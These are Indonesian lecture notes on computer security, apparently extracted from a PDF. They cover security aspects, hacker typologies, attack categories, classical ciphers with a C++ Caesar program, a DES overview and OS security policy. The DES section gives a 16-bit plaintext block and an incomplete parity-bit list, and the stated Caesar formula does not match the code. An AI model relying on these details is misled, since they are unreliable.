Anda di halaman 1dari 39

2 MASALAH KEAMANAN KOMPUTER

Information-based society, menyebabkan nilai informasi menjadi sangat penting dan menuntut kemampuan
untuk mengakses dan menyediakan informasi secara cepat dan akurat menjadi sangat esensial bagi sebuah
organisasi.
Infrastruktur Jaringan komputer, seperti LAN dan Internet, memungkinkan untuk menyediakan informasi
secara cepat, sekaligus membuka potensi adanya lubang keamanan (security hole).
Konsep Dasar Komunikasi :
Perkembangan Teknologi Informasi (TI) menyebabkan perubahan terhadap cara pandang manusia terhadap
suatu informasi
Informasi merupakan isi (content) yang dibawa oleh proses komunikasi
Informasi harus terjamin kesahihan dan validitasnya
Informasi:
Mengandung muatan-muatan data yang dijadikan sebagai the meaning of content dalam komunikasi
Kumpulan bit-bit data yang mempunyai makna tertentu, yang diolah dengan cara tertentu dan
dikomunikasikan dengan cara tertentu (sudut pandang informatika)
Informasi sebagai view of point:
Bagaimana informasi bisa diolah sehingga bisa dimanfaatkan secara optimal, misal ditemukan saat
dibutuhkan
Bagaimana validitas dan kebenaran informasi bisa dijamin
Bagaimana informasi rahasia bisa diamankan
Beberapa kejahatan komputer semakin meningkat disebabkan oleh pengaruh:
Aplikasi bisnis berbasis TI dan jaringan komputer meningkat : online banking, e-commerce, Electronic data
Interchange (EDI).
Desentralisasi server.
Transisi dari single vendor ke multi vendor.
Meningkatnya kemampuan pemakai (user).
Kesulitan penegak hukum dan belum adanya ketentuan yang pasti.
Semakin kompleksnya sistem yang digunakan, semakin besarnya source code program yang digunakan.
Berhubungan dengan internet

2.1 KLASIFIKASI KEJAHATAN KOMPUTER


Menurut David Icove [John D. Howard, An Analysis Of Security Incidents On The Internet 1989 - 1995, PhD thesis,
Engineering and Public Policy, Carnegie Mellon University, 1997.] berdasarkan lubang keamanan, keamanan
dapat diklasifikasikan menjadi empat, yaitu:
1.

2.
3.
4.

Keamanan yang bersifat fisik (physical security): termasuk akses orang ke gedung, peralatan, dan media yang
digunakan. Contoh :
Wiretapping atau hal-hal yang ber-hubungan dengan akses ke kabel atau komputer yang digunakan
juga dapat dimasukkan ke dalam kelas ini.
Denial of service, dilakukan misalnya dengan mematikan peralatan atau membanjiri saluran
komunikasi dengan pesan-pesan (yang dapat berisi apa saja karena yang diutamakan adalah banyaknya
jumlah pesan).
Syn Flood Attack, dimana sistem (host) yang dituju dibanjiri oleh permintaan sehingga dia menjadi terlalu sibuk dan bahkan dapat berakibat macetnya sistem (hang).
Keamanan yang berhubungan dengan orang (personel), Contoh :
Identifikasi user (username dan password)
Profil resiko dari orang yang mempunyai akses (pemakai dan pengelola).
Keamanan dari data dan media serta teknik komunikasi (communications).
Keamanan dalam operasi: Adanya prosedur yang digunakan untuk mengatur dan mengelola sistem
keamanan, dan juga ter-masuk prosedur setelah serangan (post attack recovery).

Halaman | 13

Karakteristik Penyusup :
The Curious (Si Ingin Tahu) - tipe penyusup ini pada dasarnya tertarik menemukan jenis sistem dan data
yang anda miliki.
The Malicious (Si Perusak) - tipe penyusup ini berusaha untuk merusak sistem anda, atau merubah web page
anda, atau sebaliknya membuat waktu dan uang anda kembali pulih.
The High-Profile Intruder (Si Profil Tinggi) - tipe penyusup ini berusaha menggunakan sistem anda untuk
memperoleh popularitas dan ketenaran. Dia mungkin menggunakan sistem profil tinggi anda untuk
mengiklankan kemampuannya.
The Competition (Si Pesaing) - tipe penyusup ini tertarik pada data yang anda miliki dalam sistem anda. Ia
mungkin seseorang yang beranggapan bahwa anda memiliki sesuatu yang dapat menguntungkannya secara
keuangan atau sebaliknya.
Istilah bagi penyusup :
Mundane:; tahu mengenai hacking tapi tidak mengetahui metode dan prosesnya.
Lamer (script kiddies): mencoba script2 yang pernah di buat oleh aktivis hacking, tapi tidak paham
bagaimana cara membuatnya.
Wannabe: paham sedikit metode hacking, dan sudah mulai berhasil menerobos sehingga berfalsafah HACK
IS MY RELIGION.
Larva (newbie): hacker pemula, teknik hacking mulai dikuasai dengan baik, sering bereksperimen.
Hacker: aktivitas hacking sebagai profesi.
Wizard: hacker yang membuat komunitas pembelajaran di antara mereka.
Guru: master of the master hacker, lebih mengarah ke penciptaan tools-tools yang powerfull yang salah
satunya dapat menunjang aktivitas hacking, namun lebih jadi tools pemrograman system yang umum.

2.2 ASPEK KEAMANAN KOMPUTER


Menurut Garfinkel [Simson Garfinkel, PGP: Pretty Good Privacy, OReilly & Associ-ates, Inc., 1995. ]
1. Privacy / Confidentiality
Definisi : menjaga informasi dari orang yang tidak berhak mengakses.
Privacy : lebih kearah data-data yang sifatnya privat , Contoh : e-mail seorang pemakai (user) tidak boleh
dibaca oleh administrator.
Confidentiality: berhubungan dengan data yang diberikan ke pihak lain untuk keperluan tertentu dan hanya
diperbolehkan untuk keperluan tertentu tersebut.
Contoh : data-data yang sifatnya pribadi (seperti nama, tempat tanggal lahir, social security number, agama,
status perkawinan, penyakit yang pernah diderita, nomor kartu kredit, dan sebagainya) harus dapat
diproteksi dalam penggunaan dan penyebarannya.
Bentuk Serangan : usaha penyadapan (dengan program sniffer).
Usaha-usaha yang dapat dilakukan untuk meningkatkan privacy dan confidentiality adalah dengan
menggunakan teknologi kriptografi.
2.

Integrity
Definisi : informasi tidak boleh diubah tanpa seijin pemilik informasi.
Contoh : e-mail di intercept di tengah jalan, diubah isinya, kemudian diteruskan ke alamat yang dituju.
Bentuk serangan : Adanya virus, trojan horse, atau pemakai lain yang mengubah informasi tanpa ijin, man
in the middle attack dimana seseorang menempatkan diri di tengah pembicaraan dan menyamar sebagai
orang lain.

3.

Authentication
Definisi : metoda untuk menyatakan bahwa informasi betul-betul asli, atau orang yang mengakses atau
memberikan informasi adalah betul-betul orang yang dimaksud.
Dukungan :
Adanya Tools membuktikan keaslian dokumen, dapat dilakukan dengan teknologi watermarking (untuk
menjaga intellectual property, yaitu dengan menandai dokumen atau hasil karya dengan tanda
tangan pembuat ) dan digital signature.
Access control, yaitu berkaitan dengan pembatasan orang yang dapat mengakses informasi. User harus
menggunakan password, biometric (ciri-ciri khas orang), dan sejenisnya.

4.

Availability
Definisi : berhubungan dengan ketersediaan informasi ketika dibutuhkan.
Contoh hambatan :
Halaman | 14

denial of service attack (DoS attack), dimana server dikirimi permintaan (biasanya palsu) yang
bertubi-tubi atau permintaan yang diluar perkiraan sehingga tidak dapat melayani permintaan lain
atau bahkan sampai down, hang, crash.
mailbomb, dimana seorang pemakai dikirimi e-mail bertubi-tubi (katakan ribuan e-mail) dengan
ukuran yang besar sehingga sang pemakai tidak dapat membuka e-mailnya atau kesulitan
mengakses e-mailnya.

5. Access Control
Definisi : cara pengaturan akses kepada informasi. berhubungan dengan masalah authentication dan juga
privacy
Metode : menggunakan kombinasi userid/password atau dengan menggunakan mekanisme lain.
6. Non-repudiation
Definisi : Aspek ini menjaga agar seseorang tidak dapat menyangkal telah melakukan sebuah transaksi.
Dukungan bagi electronic commerce.

2.3 SECURITY ATTACK MODELS


Vulnerability merupakan kelemahan dalam system keamanan, contoh dalam prosedur, rancangan, atau
implementasi yang dapat di-eksploitasi untuk menyebabkan kehilangan dan bahaya.
Sebuah threat dalam sistem komputer merupakan suatu kumpulan keadaan yang berpotensi menimbulkan
kehilangan atau bahaya. Beberapa jenis threat dalam system keamanan terdapat empat jenis, yaitu:

Gambar 2.1 Threat sistem keamanan


Menurut W. Stallings [William Stallings, Network and Internetwork Security, Prentice
Hall, 1995.] serangan (attack) terdiri dari :
Interruption: Perangkat sistem menjadi rusak atau tidak tersedia. Serangan ditujukan kepada ketersediaan
(availability) dari sistem. Contoh serangan adalah denial of service attack.
Interception: Pihak yang tidak berwenang berhasil mengakses asset atau informasi. Contoh dari serangan ini
adalah penyadapan (wiretapping).
Modification: Pihak yang tidak berwenang tidak saja berhasil mengakses, akan tetapi dapat juga mengubah
(tamper) aset. Contoh dari serangan ini antara lain adalah mengubah isi dari web site dengan pesan-pesan yang
merugikan pemilik web site.
Fabrication: Pihak yang tidak berwenang menyisipkan objek palsu ke dalam sistem. Contoh dari serangan jenis
ini adalah memasukkan pesan-pesan palsu seperti e-mail palsu ke dalam jaringan komputer.
Penyerang umumnya memiliki tiga hal yaitu:
Metode: keahlian, pengetahuan, alat dan sesuatu yang membantunya dalam penyerangan
Kesempatan: waktu dan akses untuk menyelesaikan penyerangan
Motif: Alasan untuk melakukan penyerangan ke system yang dituju.
Halaman | 15

3 HACKER
Hacker merupakan orang yang secara total mendalami tenknologi dan pemrograman komputer , seseorang yang
menyukai dan meneliti cara kerja suatu kode program dari system operasi atau program lainnya.
Cracker adalah orang yang menaklukan ukuran suatu keamanan dari jaringan atau system computer untuk
memperoleh akses kekuasaan yang tidak sah (unauthorized).
Phreak adalah orang yang memecahkan keamanan suatu jaringan telepon atau system telekomunikasi lainnya.
Cyberpunk dapat diistilahkan kombinasi karakteristik dari hacker, cracker dan phreak.
Para hacker beberapa criteria, diantaranya:
Menguasi bahasa pemrograman, seperti C, C++, CGI, atau bahasa pemrograman lainnya
Mengetahui tentang TCP/IP, protocol jaringan di internet
Pengguna internet yang berat, biasanya lebih dari 50 jam per minggu
Familiar dengan sistem operasi seperti UNIX, Windows
Seorang professional computer.

3.1 KLASIFIKASI TINGKATAN AHLI


Beberapa klasifikasi tingkatan ahli dari hacker adalah sebagai berikut:
Script kiddy
Dedicated hacker

Skilled hacker
Superhacker

Seseorang mempunyai sedikit tingkat keahlian dan menggunakan skrip program


yang telah ditulis oleh orang lain yang juga untuk mengeksploitasi system yang
mudah diserang dan sudah diketahui sebelumnya.
Hacker yang terdedikasi selalu melakukan penelitian tentang audit dan tool-tool
keamanan yang dapat digunakannya untuk mengetahui luar dalamnya system.
Mereka dapat juga memodifikasi kode-kode program yang dibutuhkan dalam
penyerangan ke suatu system.
Hacker terlatih lebih memahami system yang akan diserangnya, mereka juga
mengetahui luar dalam dan memahami konsep serta rinciannya.
Superhacker merupakan hacker yang tidak menyombongkan diri dan sering tidak
menempatkan informasinya di papan bulletin. Dia mengawasi apa yang dilakukan
orang lain dan menyerap informasi tentang hal-hal yang baru dan berbeda untuk
membahayakan system.

3.2 MOTIFASI
Bermacam-macam motifasi hacker tergantung dari dirinya sendiri. Banyak hacker dimulai dari usia anak-anak
hingga remaja. Beberapa motifasi tersebut adalah:
a.

b.
c.
d.
e.
f.

Motifasi intelektual diantaranya adalah:


Eksperimen pendidikan
Kesenangan yang tidak berbahaya
Sebagai orang panggilan untuk memperbaiki system
Motifasi pribadi diantaranya adalah:
Pegawai yang merasa tidak puas
Cyber-stalking (memberikan pesan yang mengusik atau mengancam melalui email)
Motifasi sosial contohnya adalah aktifis Cyber
Motifasi Politik diantaranya:
Teroris cyber
Perang cyber
Motifasi Keuangan antara lain adalah:
Kebutuhan uang (pendapatan pribadi)
Membangkrutkan suatu organisasi
Motifasi oleh egois diri sendiri.

Halaman | 16

3.3 BAGAIMANA HACKER MELAKUKAN PEKERJAANNYA?


Beberapa cara yang dilakukan hacker dalam penyerangannya ke suatu system diantaranya adalah:
a. Malicous Code (kode-kode berbahaya)
Logic Bomb adalah program yang berpura-pura tidak aktif sampai diaktifkan oleh sesuatu yang
system computer dapat mendeteksinya. Biasanya dengan basis waktu, atau kehadiran dan ketidak
hadiran suatu data, seperti ketika suatu nama tertentu tidak dalam file, maka trigger (pemicu) dari
laogi bomb ini akan melakukan sesuatu terhadap system misalnya menghapus, atau merusak data
dalam system.
Parasite merupakan potongan program yang ditambahkan ke dalam program lain dan
menggambarkan informasi dari program original-nya. Tujuannya adalah untuk mendapatkan
informasi dimana hacker tidak diperbolehkan mengetahuinya.
Trojan Horse adalah program yang kelihatannya berguna namun di dalamnya terdapat prosedurprosedur yang berbahaya seperti pengambilan informasi yang diinginkan oleh hacker dari suatu
system. Biasanya program ini dibuat sedemikian rupa sehingga orang lain dapat menjalankan
program itu dengan sendiri ke system yang dituju, misalnya dalam bentuk program game atau
aplikasi berguna lainnya.
Virus adalah program yang menginfeksi program lainnya dengan mereplikasi dirinya sendiri
menjadi program host. Virus mempunyai tiga fase, fase pertama adalah menginfeksi dari virus yang
ada sebelumnya, kemudian fase aktifasi dimana salinan baru ini adalah dipicu untuk mencari host
lain yang aka diinfeksi, terakhir fase replikasi, dimana virus mencari host yang cocok dan menyalin
dirinya ke host tersebut.
Worm merupakan program yang digunakan sebagai mekanisme pengiriman untuk program lain,
dengan menggunakan jaringan untuk menyebarkan program dari satu system ke system lainnya.
b. Kode program yang dimodifikasi
Dinamically Loadable Modules
Software Developers
c. Eksploitasi protocol jaringan
E-mail spoofing, mengetahui header informasi pada mail sehingga hacker dapat mengubah
informasi tersebut
IP spoofing adalah mengirim paket dengan alamat sumber dari alamat aktualnya host original-nya.
System flooding adalah proses mengkonsumsi sumber daya suatu system sampai membuat system
tersebut tidak dapat melakukan pekerjaannya lagi.
Mass-mailings
d. Eksploitasi system yang lemah
Scanner and profilers
Sniffers and snoopers
Security tools
Buffer overflows
File permissions
e. Crack password

Halaman | 17

4 CRYPTOGRAPHY
Cryptography: Penulisan yang disembunyikan
Cryptanalyst: seseorang yang mempelajari enkripsi dan pesan yang terenkripsi yang berharap dapat memahami
arti dari pesan yang disembunyikan tersebut
Cryptology: penelitian dan pembelajaran tentang enkripsi dan dekripsi, termasuk Cryptography dan
Cryptanalyst
Plaintext: Pesan yang dapat dipahami oleh manusia sebagai informasi
Ciphertext: Informasi yang disembunyikan dengan pesan yang sulit dipahami oleh manusia
Enchiperment: proses yang digunakan untuk mengubah plaintext menjadi Chipertext
Dechiperment: proses untuk mengubah dari Chipertext menjadi Plaintext kembali
Key K
Plaintext x
Enchiperment E

Ciphertext y

Gambar 4.1Proses enchiperment yang menghasilkan ciphertext (y) dengan menambahkan algoritma
enchiperment (E) yang dikendalikan oleh kunci K (K) terhadap plaintext (x)

Key K
Plaintext x
Denchiperment D

Ciphertext y

Gambar 4.2 Proses enchiperment yang menghasilkan plaintext (x) dengan menambahkan algoritma
denchiperment (D) yang dikendalikan oleh kunci K (K) terhadap ciphertext (x)
Tipe-tipe Chiper:
Substitution: tiap karakter plaintext digantikan dengan karakter chipertext menggunakan algoritma yang
dioperasikan selama plaintext dalam rangkaian dimana karakter tersebut tampil.
Transposition: setiap karakter dalam plaintext diposisikan pada lokasi yang berbeda

Gambar 4.3 Hirarki cryptology


Unconditionally secure ciphers: sebuah cipher dikatakan keamanan yang tidak terkondisi bila plaintext secara
statistik tidak tergantung pada ciphertext.
Conditionally secure ciphers: skema enkripsi dikatakan computataionally secure bila sejumlah usaha
komputasional untuk melindungi system, walaupun dalam serangan terbaik.
Symmetric-key ciphers: skema symmetric-key menggunakan satu kunci untuk encryption dan decryption.
Halaman | 18

Public-key (Asymmetric) ciphers: skema ini mengunakan dua kunci, satu untuk encryption dan yang lainnya
untuk decryption.
One-way ciphers: skema ini hanya melakukan encryption tanpa melakukan decryption.

Gambar 4.4 Skema Symmetric dan Asymmetric Cryptosystem


Beberapa hal yang dilakukan Cryptanalyst adalah sebagai berikut:
Memecahkan pesan tunggal
Mengenali pola pesan-pesan terenkripsi, untuk dapat memecahkan salah satu berikutnya dengan
menerapkan algoritma straightforward decryption
Menduga arti tanpa memecahkan enkripsi
Menarik kesimpulan kunci, untuk memecahkan pesan berikutnya dengan mudah
Mencari kelemahan dalam implementasi atau lingkungan penggunaan enkripsi
Mencari kelemahan umum dalam algoritma enkripsi tanpa memerlukan penahahanan beberapa pesan.

4.1 MONOALPHABETIC SUBSTITUTION


Tiap karakter tunggal dalam alphabet chipertext menggantikan huruf dan karakter plaintext dalam pesan. Ada
dua tipe alphabet dasar dalam mengembangkan sistem monoalphabetic uniliteral substitution yaitu alphabet
plaintext dan ciphertext. Salah satunya adalah menggunakan teknik Caesar Cipher.
Hubungan antara posisi numerik karakter ciphertext (C) dan karakter plaintext (P) dapat diekspresikan sebagai
berikut C = ( P + 5) mod 26 .
Program Cipher1:
#include <cstdlib>
#include <iostream>
using namespace std;
void Check(char &);
void FindKey(char, const char[],int &);
void FormCipher(const char[],char[],int);
void Print(const char[],const char[]);
int main(){
char PLAINTEXT[26] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',
'V', 'W', 'X', 'Y', 'Z'};
char CIPHERTEXT[26], key;
int key_location;
cout << "Masukan Alphabet huruf besar: ";

Halaman | 19

cin >> key;


Check(key);
FindKey(key, PLAINTEXT, key_location);
FormCipher(PLAINTEXT, CIPHERTEXT, key_location);
Print(PLAINTEXT, CIPHERTEXT);
system("PAUSE");
return EXIT_SUCCESS;
}
void Check(char &key){
int key_value;
bool error=false;
do{
key_value=static_cast<int>(key);
if((key_value<65)||(key_value>90))
{
cerr<<"\nMohon masukan alphabet kapital besar (A-Z):";
cin>>key;
}else{
error=true;
}
}while(!(error));
key=static_cast<char>(key_value);
cout<<"\nKey: "<<key<<endl;
return;
}
void FindKey(char key,const char PLAINTEXT[],int &key_location){
for(int x=0;x<26;x++){
if(key==PLAINTEXT[x]){
key_location=x+1;
break;
}
}
return;
}
void FormCipher(const char PLAINTEXT[],char CIPHERTEXT[],int loc){
for(int x=0;x<26;x++){
CIPHERTEXT[x]=PLAINTEXT[(x+loc)%26];
}
return;
}
void Print(const char PLAINTEXT[],const char CIPHERTEXT[]){
cout<<"PLAINTEXT : ";
for(int i=0;i<26;i++)
cout<<PLAINTEXT[i]<<" ";
cout<<"\nCIPHERTEXT: ";
for(int i=0;i<26;i++)
cout<<CIPHERTEXT[i]<<" ";
cout<<endl;
return;
}
Masukan Alphabet huruf besar: k
Mohon masukan alphabet kapital besar (A-Z):K
Key: K
PLAINTEXT : A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
CIPHERTEXT: L M N O P Q R S T U V W X Y Z A B C D E F G H I J K

Halaman | 20

4.2 TRANSPOSITIONS (PERMUTATIONS)


Transpositions adalah enkripsi dimana tiap karakter dalam pesan diatur ulang posisinya.
Columnar Transpositions merupakan bentuk pengaturan ulang karakter menjadi bentuk kolom, misalnya dalam
tiap baris karakter terdiri dari lima kolom.

Gambar 4.5 Columnar Transposition


Misalnya sebuah pesan AKU CINTA KEPADAMU
Atur pesan tersebut menjadi lima karakter tiap baris dengan menghilangkan karakter spasi, jika terdapat sisa
karakter yang tidak mengisi seluruh kolom, maka untuk mengisinya gunakan karakter lain misalnya X:
A
N
P
U

K
T
A
X

U
A
D
X

C
K
A
X

I
E
M
X

Maka pesan cipher yang didapat adalah: ANPUK TAXUA DXCKA XIEMX
Latihan:
Pecahkan kode rahasia di bawah ini dengan menggunakan permutasi transposisi lima
kolom:
TAPGA
BDKND
AOITN
AAEKE
ANUEA
GIHNN
UGLNM
URAGR
KLKBP
BGAAA
TUDTN
KAAIE
AOEIT
HMIII
IGUNT
ARWHR
NEMNX

Karakteristik Algoritma Enkripsi yang baik menurut Claude Shannon (1949):


Sejumlah rahasia yang dibutuhkan harus menentukan sejumlah tenaga kerja yang tepat untuk enkripsi dan
dekripsi
Kumpulan kunci dan algoritma enkripsi seharusnya bebas dari kompleksitas
Implementasi dari proses seharusnya sederhana mungkin
Kesalahan dalam enkripsi seharusnya tidak diperbanyak dan menyebabkan perubahan informasi dalam
pesan
Ukuran teks terenkripsi seharusnya tidak lebih besar dari teks aslinya.
Properti-properti dari sistem enkripsi Trustworthy (terpercaya) adalah:
Berdasarkan matematika. Algoritma cryptographic yang baik tidak hanya ditemukan saja, namun
diturunkan dari prinsip-prinsip yang solid
Telah dianalisis oleh pakar-pakar yang cakap
Telah diuji coba
Tiga algoritma enkripsi yang populer dalam dunia komersial adalah DES (data encryption standard), RSA
(RivestShamirAdelman), dan AES(advanced encryption standard).

4.3 SISTEM ENKRIPSI SYMMETRIC DAN ASYMMETRIC


Symmetric:
Memiliki satu kunci (disebut kunci rahasia) yang digunakan untuk proses enkripsi dan dekripsi
Menyediakan two-way channel untuk pengguna-penggunanya (saling berbagi kunci antar pengguna)
Menyediakan bukti authentication (keaslian) bahwa pesan yang diterima tidak dibuat oleh seorang yang
bukan pengirimnya.
Properti sistem ini membutuhkan pendistribusian kunci.
Halaman | 21

Asymmetric:
Disebut juga sebagai kunci publik (public key) yang memiliki dua jenis kunci yaitu public key untuk
proses enkripsi dan private key untuk proses dekripsi
Memiliki manajemen kunci yang dapat menyimpan, melindungi dan mengaktifasi kunci-kunci.

4.4 CIPHER STREAM DAN BLOK


Stream:
Mengubah sebuah simbol dari plaintext secara langsung menjadi symbol ciphertext
Ketergantungan transformasi hanya dalam simbol, kunci dan informasi control dari algoritma enkripsi.
Beberapa kesalahan misalnya pelewatana karakter dalam dalam proses enkripsi, mempengaruhi
enkripsi semua karakter-karakter berikutnya, namun kesalahan tersebut dapat dideteksi dan diperbaiki.

Gambar 4.6 Diagram enkripsi stream


Blok:

Cipher blok mengelompokkan symbol-simbol plaintext menjadi satu blok.


Bekerja pada blok-blok plaintext dan menhasilkan blok-blok ciphertext

Gambar 4.7 Diagram enkripsi blok


Perbandingan antara algoritma stream dan blok:
Algoritma enkripsi stream
Keuntungan
Kecepatan tranformasi
Perambatan kesalahan yang rendah
Kelemahan
Penyebaran yang rendah
Dapat terjadi penyisipan symbol berbahaya
dan modifikasi

Algoritma enkripsi blok


Penyebaran yang tinggi (high diffusion)
Kekebalan terhadap penyisipan suatu symbol
Penenkripsian yang lambat
Perambatan kesalahan

Karakteristik-karakteristik Algoritma enkripsi:


Confusion (membingungkan): sulit untuk memprediksi apa yang akan terjadi pada ciphertext dengan mengubah
satu karakter dalam plaintext
Prinsip diffusion (menyebarkan): cipher seharusnya juga menyebarkan informasi dari plaintext di atas seluruh
ciphertext sehingga perubahan dalam plaintext mempengaruhi banyak bagian dari ciphertext.

Halaman | 22

4.5 DES (DATA ENCRYPTION STANDARD)


Data encryption algorithm dikembangkan oleh IBM untuk U.S. National Bureau od Standards (NBS) berdasarkan
algoritma Lucifer yang dibuat pada tahun 1974.
Data Encryption Standard pada awalnya bernama DEA (Data Encryption Algorithm) di USA dan DEA-1 di negara
lain. DES diadopsi oleh U.S. Federal standard pada bulan Novmeber 1976.
Overview DES:
Kombinasi kompleks enkripsi blok dasar substitution dan transposition
Memiliki pengulangan sebanyak 16 putaran
Algoritma dimulai dari blok plaintext sebanyak 16-bit
Key panjangnya 64-bit, tetapi faktanya hanya 56-bit (8-bit tambahan sering digunakan sebagai pemeriksaan
digit dan tidak mempengaruhi enkripsi dalam implementasi normal)
Pengguna dapat mengubah key setiap waktu
Rincian Algoritma DES:
Masukan plaintext dibagi menjadi blok-blok yang berukuran 64-bit yang kemudian dipermutasi (initial
permutation)
Bit data ditransformasikan oleh 64-bit key (tetapi hanya 56-bit yang digunakan). Key dikurangi dari 64-bit
menjadi 56-bit dengan menghilangkan bit 8, 16, 24, 64. Bit-bit tersebut diasumsikan sebagai bit paritas yang
tidak membawa informasi dalam key.
Berikutnya rangkaian operasi dikenal sebagai cycle. 64 data bit yang dipermutasi dipecah menjadi dua bagian
(32-bit) bagian kiri (left) dan kanan (right).
Key digeser kekiri (shift left) dengan sejumlah bit dan dipermutasi.
Key dikombinasikan

Halaman | 23

Gambar 4.8 Diagram DES

Halaman | 24

5 KEAMANAN SISTEM OPERASI


Tujuan Sistem Operasi: mengontrol akses share dan mengimplementasikan interface untuk membeolehkan
akses tersebut. Selain tujuan itu adalah dukungan aktifitas-aktifitas seperti identifikasi dan authentication,
naming, penyimpanan objek, penjadwalan, komunikasi antar proses, dan reclaiming serta reusing suatu objek.
Fungsi-fungsi sistem operasi dikategorikan menjadi:
Kontrol akses
Manajemen identitas dan kepercayaan (credential)
Alir informasi
Perlindungan audit dan integritas

5.1 OBJEK-OBJEK TERPROTEKSI DAN METODE PROTEKSI


Beberapa aspek-aspek system computer yang membutuhkan perlindungan:
Memory
Peralatan I/O yang dapat dibagi pakai misalnya disk
Peralatan I/O serial misalnya printer dan drive tape
Program yang dapat dibagai pakai dan subprosedur
Jaringan
Data yang dapat dibagi pakai (share)

5.2 METODE KEAMANAN SYSTEM OPERASI


Separation (pemisahan): menjaga objek-objek suatu user dipisahkan dengan yang lainnya. Pemisahaan ini dapat
dilakukan dengan berbagai cara yaitu:
Pemisahan fisik: ketika perbedaan proses menggunakan objek fisik berbeda misalnya pemisahan printer
dengan tingkatan keamanan yang berbeda
Pemisahan sementara: ketika proses mempunyai kebutuhan keamanan yang berbeda adalah dieksekusi
pada waktu yang berbeda
Pemisahan logical: ketika user-user beroperasi dibawah ilusi bahwa tidak ada proses lain yang ada ketika
system operasi membatasi akses program sehingga program tersebut tidak dapat mengakses objek di luar
daerah yang diijinkan.
Pemisahan cryptographic: ketika proses menyembunyikan datanya dan menghitungnya sehingga data
tersebut tidak mudah dipahami untuk di luar proses.
Sistem operasi menawarkan perlindungan dengan beberapa tingkatan yaitu:
1. Tidak dilindungi
2. Isolasi
3. Berbagai pakai semua atau tidak sama sekali
4. Berbagai pakai melalui akses terbatas
5. Berbagi pakai oleh kemampuan
6. Batasan penggunaan suatu objek

5.3 KONTROL AKSES OBJEK-OBJEK UMUM


Beberapa contoh jenis objek yang membutuhkan perlindungan:
Memory
File atau kumpulan data pada penyimpan
Program yang dieksekusi dalam memori
Direktori file
Perangkat keras
Struktur data, contoh nya stack
Tabel sistem operasi
Instruksi, khususnya instruksi yang mempunyai hak istimewa
Mekanisme password dan authentication user
Mekanisme perlindungan itu sendiri
Halaman | 25

Kriteria-kriteria pemilihan password yang baik:


Gunakan karakter selain hany A-Z
Pilih password yang panjang
Kombinasikan password antara angka dan huruf yang dapat dipahami oleh kita sendiri
Ubah password secara berkala
Jangan menulisnya di sesuatu yang mudah dilihat orang
Jangan memberitahukan kepada siapapun

5.4 MERANCANG KEAMANAN SISTEM OPERASI


System operasi dapat dikatakan terpercaya (trusted) jika menyediakan empat pelayanan yang konsisten dan
efektif. Empat pelayanan tersebut adalah:
1.
2.
3.
4.

Kebijakan (policy)
Model keamanan
Rancangan (design)
kepercayaan (trust)

Software yang terpercaya jika diketahui kodenya telah dikembangkan dan dianalisis, serta melakukan apa yang
semestinya dilakukan software tersebut. Untuk mempercayai suatu program, terdapat beberapa kunci
karakteristik, yaitu:

Functional Correctness (fungsi yang bekerja dengan benar): program melakukan yang didukungnya dan
bekerja dengan benar.
Enforcement of integrity (pelaksanaan integritas): Walau jika terdapat perintah yang salah dari user yang
tidak diketahui, program mampu memelihara kebenaran data dengan kontak yang dimilikinya.
Limited privilege (hak terbatas): Program membolehkan akses keamanan data, tetapi akses diminimalkan
dan juga hak akses data, maupun data dilewatkan terus ke program yang tidak terpercaya atau dibalikan
kembali ke pemaggil yang tidak terpercaya.
Appropriate confidence level (tingkatan kerahasiaan yang tepat): Program telag diperiksa dan dinilai derajat
kepercayaan yang tepat untuk jenis data dan lingkungan dimana akan digunakan.

Program terpercaya digunakan untuk melakukan pembatasan (pengamanan) operasi bagi user tanpa
membolehkan user tersebut mempunyai akses langsung ke data yang sensitif.
Kualitas dari keamanan dan terpercaya:
Aman
Either-or: Sesuatu dari salah satunya atau hal tersebut
tidak aman
Property dari penyajian
Dinyatakan berdasarkan pada karakteristik produk
Absolute: tidak dikualifikasi sebagaimana digunakan,
dimana kapan atau oleh siapa
tujuan

Terpercaya
Graded: Derajat kepercayaan
Property dari penerima
Dinyatakan berdasarkan pada fakta dan analisis
Relative: dipandang dari konteks penggunaan
karakteristik

5.5 KEBIJAKAN PERLINDUNGAN (KEAMANAN)


Security policy merupakan pernyataan dari keamanan atau perlindungan yang kita harapkan sistem
menjalankannya.

5.5.1 KEBIJAKAN PERLINDUNGAN MILITER


Kebijakan perlindungan (keamanan) militer didasari pada perlindungan informasi yang diklasifikasi. Setiap
bagian informasi diatur pada tingkat sensitif yang diperlukan seperti:
unclassified (tak terklasifikasi)
restricted (dibatasi)
confidential (bersifat rahasia)
secret (rahasia)
top secret (sangat rahasia)
Halaman | 26

Informasi yang diberikan pada setiap tingkatan lebih sensitive daripada informasi pada tingkatan di bawahnya
dan sebaliknya kurang sensitif jika dibandingkan dengan tingkatan di atasnya.

Gambar 5.1 hirarki sensitifitas klasifikasi


Pengaksesan informasi dibatasi dengan aturan need-to-know: akses ke data yang sensitive diijinkan hanya untuk
subyek yang memerlukan untuk mengetahui datanya agar pekerjaannya dapat dilaksanakan. Tiap bagian
informasi yang diklasifikasi dapat diasosiasikan dengan salah satu atau lebih proyek, disebut compartments
(pembagian) yang menggambarkan bahan subyek dari informasi. Misalnya proyek alpha yang menggunakan
informasi rahasia begitu juga dengan proyek beta, namun staff dalam alpha tidak memerlukan akses informasi di
beta. Dengan kata lain kedua proyek memerlukan informasi rahasia, tetapi setiap proyek tersebut dibatasi pada
kebutuhan informasi yang diperlukan oleh proyek yang bersangkutan.

Gambar 5.2 Asosiasi antara informasi dan compartment


Kombinasi <rank;compartments> disebut dengan kelas atau klasifikasi potongan informasi. Clearance adalah
indikasi bahwa seseorang dipercaya untuk mengakses informasi pada tingkatan sensitif yang pasti dan orang
tersebut perlu mengetahui kategori yang pasti dari informasi sensitif. Clearance dari subyek di ekpresikan
sebagai kombinasi <rank;compartments>.
Relasi disebut dominance (dominasi), pada himpunan dari objek dan subjek sensitive . untuk subjek s dan
objek o,
s o jika dan hanya jika

ranks ranko dan


compartmentss compartmentso
O mendominasi s (atau s didominiasi oleh o) jika s o . Dominasi digunakan untuk membatasi sensitifitas dan
isi informasi yang dapat diakses subjek. Subjek dapat membaca objek hanya jika:
Tingkatan clearance subjek kurang atau sama tingginya dari informasi
Halaman | 27

Subjek perlu mengetahui tentang semua compartments untuk dimanan informasi diklasifikasikan.

5.5.2 KEBIJAKAN PERLINDUNGAN KOMERSIAL


Kebijakan ini memiliki tiga tingkatan sensitifitas, yaitu:
